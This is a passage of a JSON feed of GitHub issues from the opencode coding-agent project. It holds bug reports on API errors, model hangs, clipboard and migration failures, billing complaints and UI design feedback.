        "text": "Env: Windows 11, Codex with `wire_api = responses` via cc-switch → `https://opencode.ai/zen/go/v1`, model `deepseek-v4-pro`. I retried right after the 0813 model update and the problem is still there. **What happens**: First turn in a fresh conversation is fine. From the second turn on, as soon as the request includes the previous assistant reply, it returns 400. **Errors I've seen** (two variants): ``` Error from provider (Console Go): Upstream request failed: [invalid_request_error] Invalid assistant message: content or tool_calls must be set ``` and earlier: ``` Failed to deserialize the JSON body into the target type: messages[4]: missing field `id` at line 1 column ... ``` Same request with `deepseek-v4-flash` returns 200, and going straight to the official DeepSeek API (`api.deepseek.com/v1/responses`) also returns 200. So it looks like Console Go's conversion from Responses to its internal messages format doesn't handle pro's assistant message history properly. **Minimal repro** (same body, pro → 400 / flash → 200): ```bash curl -s https://opencode.ai/zen/go/v1/responses \\ -H \"Authorization: Bearer $KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"model\": \"deepseek-v4-pro\", \"input\": [ {\"type\":\"message\",\"role\":\"user\",\"content\":[{\"type\":\"input_text\",\"text\":\"hi\"}]}, {\"type\":\"message\",\"role\":\"assistant\",\"content\":[{\"type\":\"output_text\",\"text\":\"hello\"}]}, {\"type\":\"message\",\"role\":\"user\",\"content\":[{\"type\":\"input_text\",\"text\":\"how are you?\"}]} ] }' ``` Swap `model` to `deepseek-v4-flash` with the exact same body and it returns 200. This seems related to #42090, #42091 and #36354 — Console Go validates pro's message/tool format stricter than flash and rejects the standard Codex format. Would be great if this could be fixed, or if pro's /responses could be routed to the native upstream the way flash was.",
        "url": "https://github.com/anomalyco/opencode/issues/42135",
        "createdAt": "2026-08-12T20:03:51Z",
        "updatedAt": "2026-08-13T12:30:10Z",
        "timestamp": "2026-08-13T12:30:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 6
        },
        "labels": [],
        "author": "JINGMINGRUO",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42136",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "refactor(simulation): canonicalize the Drive wire protocol",
        "text": "## Problem `packages/drive/src/simulation/protocol.ts` duplicates the simulation wire contract in `packages/simulation/src/protocol/index.ts`. Server and TUI consume `@opencode-ai/simulation`, while Drive currently maintains a copied public schema. The copies have already drifted, including dynamic-tool progress shape and invocation context naming (`callID` versus canonical `id`). Keeping both makes protocol changes a manual synchronization task and can cause Drive decoding failures. ## Direction Move the Core-independent simulation contract to a canonical Protocol/Schema-owned module that Server, TUI, Simulation, and Drive can all consume without violating runtime dependency direction. Keep Drive-specific transport/controller behavior in Drive. ## Acceptance - One authoritative simulation wire schema. - Drive no longer copies the protocol source. - Existing Drive public protocol exports remain compatible or receive an explicit migration plan. - Server/TUI/Drive protocol tests exercise the same schemas. - Dynamic tool lifecycle fields and progress payloads are reconciled against actual V2 behavior.",
        "url": "https://github.com/anomalyco/opencode/issues/42136",
        "createdAt": "2026-08-12T20:13:12Z",
        "updatedAt": "2026-08-12T20:13:12Z",
        "timestamp": "2026-08-12T20:13:12Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42137",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "chore(drive): transfer npm ownership and trusted publishing",
        "text": "## Problem The adopted `opencode-drive` package remains independently versioned at `1.4.3`, but cannot safely publish from `anomalyco/opencode` yet. Current facts: - npm has one maintainer: `jlongster`. - Trusted publishing/provenance points to `anomalyco/opencode-drive/.github/workflows/publish.yml`. - The first destination release is `1.4.4` (pending special-key patch after `1.4.3`). - Bare `v1.4.4` tags collide with OpenCode tags; use `opencode-drive-v1.4.4`. - Packed `@opencode-ai/client: workspace:*` currently rewrites to a version that must exist publicly before consumers can install Drive. - OpenCode's global publisher must never rewrite Drive's independent version. The workspace package is intentionally marked `private` until these gates are complete. See `packages/drive/RELEASING.md`. ## Acceptance - James adds the destination operator as npm owner, or updates trust himself. - npm trusted publisher targets `anomalyco/opencode` and dedicated `publish-drive.yml`. - Dedicated workflow uses GitHub-hosted runner, Node 24, npm OIDC, `id-token: write`, and namespaced tags. - `@opencode-ai/client` packed dependency is available on npm. - Packed tarball installs in a clean consumer; every export and installed CLI are verified. - `opencode-drive@1.4.4` provenance points to the destination repository/workflow. - Old workflow is disabled after successful cutover.",
        "url": "https://github.com/anomalyco/opencode/issues/42137",
        "createdAt": "2026-08-12T20:13:13Z",
        "updatedAt": "2026-08-12T20:13:13Z",
        "timestamp": "2026-08-12T20:13:13Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42140",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "he pagado suscripcion y no continua proyecto",
        "text": "dice siempre Free usage exceeded, subscribe to Go pero yo he pagado la suscripcion",
        "url": "https://github.com/anomalyco/opencode/issues/42140",
        "createdAt": "2026-08-12T20:19:57Z",
        "updatedAt": "2026-08-12T22:45:15Z",
        "timestamp": "2026-08-12T22:45:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "fachosferanews-ai",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42143",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Why does Opencode require me to subscribe when your official website states it's 100% free?",
        "url": "https://github.com/anomalyco/opencode/issues/42143",
        "createdAt": "2026-08-12T20:34:29Z",
        "updatedAt": "2026-08-13T17:49:48Z",
        "timestamp": "2026-08-13T17:49:48Z",
        "metrics": {
          "reactions": 26,
          "comments": 8
        },
        "labels": [],
        "author": "mahmoud-Web-Developer",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42145",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "I cant open a new session for some weird reason",
        "text": "I updated it and also blacks out the new session thing, i also updated it",
        "url": "https://github.com/anomalyco/opencode/issues/42145",
        "createdAt": "2026-08-12T20:42:43Z",
        "updatedAt": "2026-08-12T22:45:13Z",
        "timestamp": "2026-08-12T22:45:13Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "EquinoXV2",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42146",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode not responding",
        "text": "you know the bdddd sound, every time i message big pickle or any other model the sound appears and the ai doesnt respond to me. please fix this",
        "url": "https://github.com/anomalyco/opencode/issues/42146",
        "createdAt": "2026-08-12T20:48:26Z",
        "updatedAt": "2026-08-12T23:14:48Z",
        "timestamp": "2026-08-12T23:14:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "kingjoeishere",
        "state": "closed",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42147",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Azure OpenAI large models (gpt-5.6-luna/sol, gpt-5.4, o3) hang in OpenCode due to Responses API streaming",
        "text": "## Bug description When using the native Azure OpenAI provider (`azure`) in OpenCode, small models like `gpt-5-mini` work correctly, but larger models (`gpt-5.6-luna`, `gpt-5.6-sol`, `gpt-5.4`, `o3`) hang indefinitely instead of returning a response. ## Steps to reproduce 1. Configure Azure OpenAI provider with a valid resource and API key: ```powershell $env:AZURE_RESOURCE_NAME = \"<your-resource-name>\" ``` 2. Run OpenCode with a large Azure model: ```powershell opencode run --model azure/gpt-5.6-luna \"hola, responde solo OK\" ``` 3. The command hangs and never returns (tested up to 5 minutes). ## Expected behavior The model should respond, just like `azure/gpt-5-mini` does. ## Actual behavior - `azure/gpt-5-mini` → ✅ works - `azure/gpt-5.6-luna` → ❌ hangs forever - `azure/gpt-5.6-sol` → ❌ hangs forever - `azure/gpt-5.4` → ❌ hangs forever - `azure/o3` → ❌ hangs forever ## Direct API verification I verified that the Azure OpenAI endpoints work correctly when called directly: - **Responses API** (`/openai/v1/responses?api-version=v1`) with `gpt-5.6-luna` responds quickly and streams correctly. - **Chat Completions API** (`/openai/deployments/gpt-5.6-luna/chat/completions?api-version=2025-04-01-preview`) also responds correctly. So the Azure deployment and credentials are fine. The hang only happens through OpenCode. ## Root cause hypothesis OpenCode uses `@ai-sdk/azure`, which defaults to the **Responses API** when calling `azure(deploymentName)`. The Responses API streaming path seems to hang for larger models when consumed by OpenCode, even though the same endpoint works fine with direct `curl`/PowerShell calls. A likely fix would be to either: 1. Allow users to force **Chat Completions API** for Azure models (e.g., via `provider.azure.options.factory: \"chat\"`), or 2. Make `@ai-sdk/azure` default to chat completions for models/deployments where Responses API streaming is unreliable. ## Environment - OS: Windows 11 - OpenCode version: 1.17.11 (also tested on earlier versions) - Azure region: East US 2 - Models deployed: `gpt-5-mini`, `gpt-5.6-luna`, `gpt-5.6-sol`, `gpt-5.4`, `o3` ## Additional context I also tried creating a custom provider using `@ai-sdk/azure` with `useDeploymentBasedUrls: true`, but it still calls `/responses` and returns 404 for `api-version=2025-04-01-preview` because that API version does not support the Responses API on Azure. The only working workaround right now is to use `azure/gpt-5-mini` for everything, which is not ideal for complex tasks.",
        "url": "https://github.com/anomalyco/opencode/issues/42147",
        "createdAt": "2026-08-12T20:51:22Z",
        "updatedAt": "2026-08-13T01:26:24Z",
        "timestamp": "2026-08-13T01:26:24Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "Str0k",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42153",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "ci(close-prs): bun script failures are silent in the run log",
        "text": "## Problem When the `close-prs` workflow runs `bun script/github/close-prs.ts` and the script fails (GraphQL pagination error, token-scope error, unhandled exception), the workflow step fails silently — the error is buried in the full log with no visible annotation in the run summary. This makes diagnosing close-prs failures harder than necessary. The run shows \"failed\" but you have to download the full log to find the error. ## Proposed fix Wrap the bun invocation so a non-zero exit code emits a `::warning::` annotation: ```yaml bun script/github/close-prs.ts \"${args[@]}\" || { exit_code=$? echo \"::warning::close-prs.ts exited with code $exit_code — check logs for GraphQL/token-scope errors\" exit $exit_code } ``` The exit code is still propagated (`exit $exit_code`), so the workflow step still fails — but the failure reason is visible at a glance in the run summary via the `::warning::` annotation. ## Context - Workflow file: `.github/workflows/close-prs.yml` - Script: `script/github/close-prs.ts` - Observed on a fork (`niStee/opencode`) where the same workflow runs against this upstream repo via `--repo` argument",
        "url": "https://github.com/anomalyco/opencode/issues/42153",
        "createdAt": "2026-08-12T21:50:50Z",
        "updatedAt": "2026-08-12T21:56:15Z",
        "timestamp": "2026-08-12T21:56:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "niStee",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42154",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Estoy pagando la versión de OpenCode Go y me sale deepseek v4 Flash con limites",
        "text": "I ran out of Deepseek v4 Flash credits and paid for OpenCode Go, but it keeps telling me I need to pay for the Go subscription. I can no longer use the Deepseek v4 Flash version, even after paying! <img width=\"1009\" height=\"261\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/fa81aa15-90b6-4ada-965d-60bcd6a397f0\" />",
        "url": "https://github.com/anomalyco/opencode/issues/42154",
        "createdAt": "2026-08-12T21:56:30Z",
        "updatedAt": "2026-08-12T22:25:03Z",
        "timestamp": "2026-08-12T22:25:03Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "jefmaus",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42157",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG]: close-prs workflow failures are silent in the run log — no ::warning:: annotation",
        "text": "## Description When the `close-prs` workflow (`.github/workflows/close-prs.yml`) runs `bun script/github/close-prs.ts` and the script fails (GraphQL pagination error, token-scope error, unhandled exception), the workflow step fails silently. The error is buried in the full log with no visible `::warning::` annotation in the run summary. This makes diagnosing close-prs failures unnecessarily hard — the run shows \"failed\" but you have to download and read the full log to find the error. ## Plugins N/A ## OpenCode version N/A (this is a CI workflow issue, not a runtime bug) ## Steps to reproduce 1. Wait for the scheduled `close-prs` workflow to run (daily at 22:00 UTC) 2. If `script/github/close-prs.ts` exits non-zero (e.g., GraphQL token-scope error, unhandled exception) 3. The workflow step fails with no annotation in the run summary — only the raw exit code in the log ## Screenshot and/or share link N/A — this is a CI workflow observability issue, not a UI bug. ## Operating System GitHub Actions (ubuntu-latest) ## Terminal GitHub Actions runner ## Proposed fix Wrap the bun invocation so a non-zero exit code emits a `::warning::` annotation: ```yaml bun script/github/close-prs.ts \"${args[@]}\" || { exit_code=$? echo \"::warning::close-prs.ts exited with code $exit_code — check logs for GraphQL/token-scope errors\" exit $exit_code } ``` The exit code is still propagated, so the workflow step still fails — but the failure reason is visible at a glance in the run summary. PR: #42151",
        "url": "https://github.com/anomalyco/opencode/issues/42157",
        "createdAt": "2026-08-12T22:00:34Z",
        "updatedAt": "2026-08-12T22:01:58Z",
        "timestamp": "2026-08-12T22:01:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "niStee",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42162",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Linux/Wayland: clipboard hangs after Ctrl-Z because wl-copy stays in OpenCode process group",
        "text": "### Description On Linux/Wayland, copying text from OpenCode and then suspending OpenCode with `Ctrl-Z` can leave the Wayland clipboard provider stopped. The result is that pasting into the same terminal after suspending OpenCode hangs indefinitely. This appears to happen because OpenCode spawns `wl-copy` in the same terminal process group. `wl-copy` then forks into the background to serve clipboard requests, but the clipboard-serving process remains in the same process group as OpenCode. When `Ctrl-Z` is pressed, the terminal sends `SIGTSTP` to the foreground process group, stopping both OpenCode and the `wl-copy` clipboard provider. The clipboard selection still references that stopped `wl-copy` process, so a subsequent paste waits on a provider that is suspended. Running `wl-copy` in a separate session/process group with `setsid` fixes the issue completely. ### Diagnosis After reproducing the issue, `wl-copy` can be observed as stopped: ```sh ps -o pid,ppid,pgid,sid,stat,tty,cmd -C wl-copy ``` The clipboard-serving `wl-copy` process has the same process group as OpenCode and its `STAT` contains `T` after `Ctrl-Z`. Resuming the stopped `wl-copy` process with `SIGCONT` allows the paste to proceed again. ### Confirmed workaround Running OpenCode with a private `wl-copy` wrapper that creates a new session fixes the problem: ```sh #!/usr/bin/env bash exec setsid /path/to/real/wl-copy \"$@\" ``` With this wrapper scoped only to OpenCode: 1. Copy from OpenCode. 2. Press `Ctrl-Z`. 3. Paste into the same terminal. The paste works normally. ### Likely cause OpenCode currently invokes `wl-copy` using a normal child-process spawn. `wl-copy` backgrounds itself by forking, but does not create a new process group/session, so the clipboard provider remains part of OpenCode's terminal job-control process group. This means `Ctrl-Z` suspends the clipboard provider along with OpenCode. ### Possible fix For the Wayland `wl-copy` backend, spawn the clipboard process in a separate process group/session so that it is not affected by terminal job-control signals sent to OpenCode. For example, on Unix this could be implemented using a detached child process / separate process group for `wl-copy` specifically. This probably should not be applied indiscriminately to every clipboard command, only to backends such as `wl-copy` whose clipboard ownership outlives the original write operation. ### Environment * OS: NixOS / Linux * Display server: Wayland * Compositor: Hyprland * Terminal: Alacritty * Clipboard backend: `wl-copy` / `wl-clipboard` ### Related #4283 reports more general Linux clipboard failures, but does not appear to cover this `Ctrl-Z` / process-group / `SIGTSTP` failure mode. ### Plugins headroom, serena ### OpenCode version 1.18.17 ### Steps to reproduce 1. Run OpenCode in a Wayland terminal. 2. Copy some text from OpenCode. 3. Press `Ctrl-Z` to suspend OpenCode. 4. Paste into the shell that is now in the foreground in the same terminal. 5. The paste hangs indefinitely. Pasting into another terminal before suspending OpenCode works normally. ### Screenshot and/or share link _No response_ ### Operating System NixOS 26 ### Terminal Alacritty",
        "url": "https://github.com/anomalyco/opencode/issues/42162",
        "createdAt": "2026-08-12T22:10:17Z",
        "updatedAt": "2026-08-13T04:32:09Z",
        "timestamp": "2026-08-13T04:32:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "ryjen",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42163",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Desktop] Starts to cancel tasks with \"Not Found\"",
        "text": "OS: Windows 11 App: OpenCode Desktop Model: GLM 5.2 through Custom OpenAI-compatible provider Plugins: None OpenCode version: 1.18.17 Total Tokens: 56,323 out of 1,048,576 tokens Steps to reproduce: 1. Start chat 2. Assign a task like coding 3. Long code, like 1,350 to 1,950 lines of code It exits with the error \"Not Found\" and sometimes doesn't even start and instantly cancels with the same error. I'm not sure why it happens, but it's really annoying. AI was working fine at the beginning of the chat, but after some time it started doing this. Log files: [opencode-debug-20260812T220400.zip](https://github.com/user-attachments/files/31000108/opencode-debug-20260812T220400.zip) <img width=\"1361\" height=\"931\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8f7ad8a0-265a-45eb-bf2f-31a4b7df6c61\" /> <img width=\"1208\" height=\"466\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/f9d6fcf3-6f0a-44fa-9c81-d9b2f12846b7\" />",
        "url": "https://github.com/anomalyco/opencode/issues/42163",
        "createdAt": "2026-08-12T22:15:12Z",
        "updatedAt": "2026-08-12T22:30:17Z",
        "timestamp": "2026-08-12T22:30:17Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "Amega-CORE",
        "state": "open",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42165",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI freezes when switching themes repeatedly via theme menu (desktop app)",
        "text": "## Description Switching themes from the theme menu repeatedly causes the TUI to freeze. After the first successful theme change, a second consecutive theme change hangs the app — no keystrokes or UI updates are processed. The app only recovers if you tab out to another section (e.g. away from the theme menu) and tab back; then a theme change works once before it hangs again. ## Reproduction 1. Launch the opencode desktop app (OpenCode.app) and open the theme menu. 2. Select a theme — it applies fine. 3. Open the theme menu again and select another theme. 4. The TUI freezes: no response to input, new theme never renders. 5. Tab out to another section and tab back to the theme menu. 6. Select a theme — works once. Repeat step 3 and the hang returns. ## Expected behavior Themes should switch repeatedly without hanging; the TUI should stay responsive. ## Actual behavior Every second consecutive theme switch freezes the TUI until you leave the section and return. ## Environment - opencode 1.18.16 (desktop app, OpenCode.app) - macOS (darwin) - Related: #24475 covers a TUI hang from theme detection after the opentui upgrade — this may be the same underlying theme-detection/render stall but triggered by repeated theme changes rather than tmux. ## Notes Willing to capture logs / a trace if maintainers point me at the right flags.",
        "url": "https://github.com/anomalyco/opencode/issues/42165",
        "createdAt": "2026-08-12T22:16:12Z",
        "updatedAt": "2026-08-12T22:17:53Z",
        "timestamp": "2026-08-12T22:17:53Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "codekaiOken",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42167",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG] OpenCode Go subscription not recognized after purchase / Deepseek v4 Flash locked",
        "text": "Description After running out of my Deepseek v4 Flash credits, I purchased the OpenCode Go subscription. However, the system does not recognize my active subscription. It continuously prompts me to pay for OpenCode Go again and completely blocks my access to the Deepseek v4 Flash model, even though the payment has already been completed. Steps to reproduce Consume all available free credits for Deepseek v4 Flash. Purchase the OpenCode Go subscription. Attempt to use the Deepseek v4 Flash model again. See the error/prompt requesting payment for the OpenCode Go subscription despite having just paid. Expected behavior After successfully paying for the OpenCode Go subscription, the account status should be updated immediately, and access to the Deepseek v4 Flash version should be restored without further payment prompts. Actual behavior The system ignores the active OpenCode Go subscription, keeps asking for payment, and restricts access to the Deepseek v4 Flash version. Screenshots <img width=\"1009\" height=\"261\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/596f6b3e-f040-48ae-baac-ac4f52e63998\" />",
        "url": "https://github.com/anomalyco/opencode/issues/42167",
        "createdAt": "2026-08-12T22:26:24Z",
        "updatedAt": "2026-08-12T22:27:55Z",
        "timestamp": "2026-08-12T22:27:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "jefmaus",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42168",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Models like Nemotron 3 Ultra are very slow",
        "text": "### Description Whenever I go on OpenCode to do my daily developing, I am happy with the idea and view, but the model speed makes me upset. ## Main Issue I select `nvidianemotron-3-ultra-550b-a55b` via the NVIDIA endpoint and begin my work. Usually, my first message does not go far. Maybe it does 5 tool calls and then quits, which is a big issue because I may be doing IRL tasks while I believe it is working. Or, when I give another prompt and it works for a while, it can take 45+ minutes even for small changes. Usually, when working, it is very slow, even though messages come through fast. ## How I Know It Is OpenCode and Not the Model When using different applications (not going to specify unless asked due to advertising) (agent development environments) that are almost identical to OpenCode, I use the same model and provider. It is just much faster, with an average of 91.1% less time (4 minutes) for minor changes. ## How It Affects Me and Others When I need to implement something quickly, this really throws off my day and actually makes me want to no longer use the app. This is likely an issue for many other users as well. ## Thank You I ask that you please look into and fix this as soon as possible so I can have a much better experience. ### Plugins N/A ### OpenCode version 1.18.16 (Happens throughout all versions) ### Steps to reproduce 1. Make the current code use the same system prompting/effect while significantly lowering the amount of input sent to the model. 2. Make tools and other features easier and faster for the AI to access and use. 3. Cut down unnecessary context, tool output, and system information being sent with each request. 4. Improve the agent loop so there is less overhead between tool calls and model responses. 5. Prevent the agent from stopping after only a few tool calls when it still has work left to do. 6. Improve context handling for larger projects so the model does not have to process the entire project repeatedly. 7. Reduce the amount of processing OpenCode does around each request so the same model can perform closer to its speed in other agent environments. ### Screenshot and/or share link <img width=\"1362\" height=\"197\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a8c78bcb-ca45-4430-bf2a-bcf2371cc342\" /> This issue does not have many screenshots due to the confidentiality of my chats. I apologize for the lack of media. ### Operating System Microsoft Windows 11 Pro | Version 10.0.26200 | Build 26200 | 64-bit ### Terminal Windows Terminal,PowerShell,GIT Bash",
        "url": "https://github.com/anomalyco/opencode/issues/42168",
        "createdAt": "2026-08-12T22:41:40Z",
        "updatedAt": "2026-08-12T22:43:07Z",
        "timestamp": "2026-08-12T22:43:07Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "elijahshepherd",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42170",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Desktop fails to load sessions: no such column: project_id",
        "text": "### Description Desktop 1.18.17 dies on launch while loading sessions. The sidecar returns 500 from `Project.migrateProjectId`: ``` Error: no such column: project_id ``` Some builds replaced the `workspace` table with a provider/binding schema and dropped `project_id`. Current `dev` still remaps project IDs with `UPDATE workspace SET project_id = ...`, which fails and takes the renderer down. ### Plugins _No response_ ### OpenCode version 1.18.17 ### Steps to reproduce 1. Have an OpenCode DB whose `workspace` table has `provider`/`binding` and no `project_id` (after a build that ran the workspace-domain migration). 2. Open Desktop 1.18.17 / current `dev`. 3. Session load returns 500 and the app shows a fatal renderer error. ### Screenshot and/or share link _No response_ ### Operating System macOS ### Terminal Desktop app",
        "url": "https://github.com/anomalyco/opencode/issues/42170",
        "createdAt": "2026-08-12T22:45:31Z",
        "updatedAt": "2026-08-12T22:49:59Z",
        "timestamp": "2026-08-12T22:49:59Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "DatScreamer",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42172",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Catalog feedback] Session picker",
        "text": "## Feedback The Ctrl-A shortcut in the bottom right is misaligned. Fix this ## Catalog state - Screen: `session-picker` - Theme: `opencode` - Link: https://dev.opencode.ai/lab/catalog?mode=ui-elements&surface=modal&screen=session-picker&set=opencode",
        "url": "https://github.com/anomalyco/opencode/issues/42172",
        "createdAt": "2026-08-12T22:59:25Z",
        "updatedAt": "2026-08-12T22:59:25Z",
        "timestamp": "2026-08-12T22:59:25Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "catalog",
          "design-feedback"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42180",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Catalog feedback] Debug",
        "text": "## 1. Row 13, column 76 this is wider than other modals, and has different horizontal padding. ## Catalog state - Screen: `debug` - Theme: `opencode` - Link: http://localhost:4187/?screen=debug&set=opencode#annotations=eyJ2ZXJzaW9uIjoxLCJpZGVudGlmaWVyIjoiZGVidWciLCJ2YXJpYW50Ijoib3BlbmNvZGUiLCJhbm5vdGF0aW9ucyI6W3siaWQiOiJjZTcxNTMxNy03YjgwLTQ0ZTctOTYwYy1hZjE3OWEzZWUxNWIiLCJyb3ciOjEyLCJjb2x1bW4iOjc1LCJub3RlIjoidGhpcyBpcyB3aWRlciB0aGFuIG90aGVyIG1vZGFscywgYW5kIGhhcyBkaWZmZXJlbnQgaG9yaXpvbnRhbCBwYWRkaW5nLiJ9XX0 <details> <summary>Annotation data</summary> ```json { \"version\": 1, \"identifier\": \"debug\", \"variant\": \"opencode\", \"annotations\": [ { \"id\": \"ce715317-7b80-44e7-960c-af179a3ee15b\", \"row\": 12, \"column\": 75, \"note\": \"this is wider than other modals, and has different horizontal padding.\" } ] } ``` </details>",
        "url": "https://github.com/anomalyco/opencode/issues/42180",
        "createdAt": "2026-08-12T23:39:59Z",
        "updatedAt": "2026-08-12T23:39:59Z",
        "timestamp": "2026-08-12T23:39:59Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "catalog",
          "design-feedback"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42181",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Catalog feedback] Status",
        "text": "## 1. Row 12, column 54 this has different horizontal padding than other modals. ## Catalog state - Screen: `status` - Theme: `opencode` - Link: http://localhost:4187/?screen=status&set=opencode#annotations=eyJ2ZXJzaW9uIjoxLCJpZGVudGlmaWVyIjoic3RhdHVzIiwidmFyaWFudCI6Im9wZW5jb2RlIiwiYW5ub3RhdGlvbnMiOlt7ImlkIjoiNzNkZmVkM2UtYTJiZC00MTMzLTkxNWMtYjAwNWU3NGI0NmI1Iiwicm93IjoxMSwiY29sdW1uIjo1Mywibm90ZSI6InRoaXMgaGFzIGRpZmZlcmVudCBob3Jpem9udGFsIHBhZGRpbmcgdGhhbiBvdGhlciBtb2RhbHMuIn1dfQ <details> <summary>Annotation data</summary> ```json { \"version\": 1, \"identifier\": \"status\", \"variant\": \"opencode\", \"annotations\": [ { \"id\": \"73dfed3e-a2bd-4133-915c-b005e74b46b5\", \"row\": 11, \"column\": 53, \"note\": \"this has different horizontal padding than other modals.\" } ] } ``` </details>",
        "url": "https://github.com/anomalyco/opencode/issues/42181",
        "createdAt": "2026-08-12T23:40:22Z",
        "updatedAt": "2026-08-12T23:40:22Z",
        "timestamp": "2026-08-12T23:40:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "catalog",
          "design-feedback"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42182",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Catalog feedback] Help",
